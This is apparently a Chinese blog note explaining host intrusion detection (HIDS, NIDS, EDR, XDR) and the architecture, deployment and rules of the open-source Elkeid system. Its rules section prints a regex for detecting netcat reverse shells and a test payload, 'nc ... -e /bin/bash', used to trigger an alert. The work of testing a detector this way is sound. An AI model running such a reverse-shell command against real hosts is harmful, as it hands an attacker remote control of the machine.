目录
概述
什么是HIDS
HIDS( host-based intrusion detection system,基于主机的入侵检测系统),通过监测主机上的进程、文件、网络等信息来识别入侵风险。
HIDS与NIDS的区别
NIDS基于网络流量来进行入侵检测,和HIDS相比,实时性更高,对主机没有性能影响。一般装在网关等地方获取镜像流量即可,无需安装在每台主机节点,开源NIDS有Suricata等。
EDR、XDR是啥?
EDR(Endpoint Detection and Response,端点检测与响应),相较于传统的HIDS,EDR增加了响应的部分,例如添加SOAR(security orchestration, automation and response,安全编排、自动化与响应系统)、止损手段。
XDR( eXtended Detection and Response ,可扩展检测与响应),相较于EDR,能够结合多个数据源(云原生安全、电子邮件安全等)。
Elkeid
架构
- Elkeid Agent:代理,与Manager节点通信,负责上传日志等信息,管理组件。
- Elkeid Driver:负责 Linux Kernel 层采集数据,兼容容器,并能够检测常见 Rootkit。
- Elkeid RASP:支持 CPython、Golang、JVM、NodeJS、PHP 的运行时数据采集探针,支持动态注入到运行时。
- Elkeid HUB:策略引擎。
- AgentCenter:收集Agent 数据,写入到消息队列,给Agent下发指令。
- ServiceDiscovery:服务发现。
- 实时计算模块:消费消息队列数据,进行分析和检测。
- 离线计算模块:消费消息队列数据
- Manager:管理各个模块。
Elkeid Agent && Agent center
参考关于 Elkeid Agent
Agent具有数据通信、资源监控、组件版本控制、文件传输、机器基础信息采集等功能。
Agent拥有多个Plugins,是Agent的插件,Agent的子进程,可以由多种语言实现。
- Driver Plugin: 负责与 Elkeid Driver 通信,处理其传递的数据等
- Collector Plugin: 负责端上的资产/关键信息采集工作,如用户,定时任务,包信息等
- Journal Watcher: 负责监测systemd日志的插件,目前支持ssh相关日志采集与上报
- Scanner Plugin:负责在端上进行静态检测恶意文件的插件,支持
- Yara RASP Plugin: 分析系统进程运行时,上报运行时信息,处理下发的Attach 指令,收集各个探针上报的数据
- Baseline Plugin: 负责在端上进行基线风险识别的插件
Agent Center基于gRPC + ProtoBuf通信,具有以下功能
- 限流:最大链接数保护
- 负载均衡:SD服务发现+Manager动态控制
- 通信链路安全:SSL+HTTPS
- 上报数据Kafka
Elkeid Driver
参考关于 Elkeid Driver
Elkeid Driver 主要通过 Kprobe Hook Kernel Function 来提供丰富而准确的数据收集功能,包括内核级进程执行探测,特权升级监控,网络审计等等。,并且支持 Linux Namespace。
主要是Plugins、Hook、Filter、Anti-Rootkit四个功能。
Elkeid RASP
参考Golang-RASP
RASP(Runtime application self-protection,实时应用自我防护),通过探针的方式注入到应用中,在运行时实时防护。
Elkeid HUB
参考:Elkeid HUB
- INPUT 数据输入层,社区版仅支持Kafka
- RULEENGINE/RULESET 对数据进行检测/外部数据联动/数据处理的核心组件
- OUTPUT 数据输出层,社区版仅支持Kafka/ES
- SMITH_DSL 用来描述数据流转关系
Service Discovery
服务发现,发现Agent。
负载均衡,
Manager
任务下发,分布式任务分发系统。
安装
根据Elkeid 完整部署进行部署。
数据采集
参考:数据接入指南
规则&告警
参考:HIDS开源策略列表
以hids_detect的reverse_shell_detect_argv为例,正则如下:
(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))
攻击payload如下:
nc 172.19.0.3 8888 -e /bin/bash
告警如下:
配置了一个企微机器人,收到消息:
参考
HIDS与NIDS的区别
crowdstrike-EDR
paloalto-XDR
五款流行开源的 HIDS 系统简单介绍
最后的防线:三款开源HIDS应用对比评估
腾讯自研HIDS「洋葱」后台上云架构演进实践
github-ossec
github-yulong-hids-archived
github-Elkeid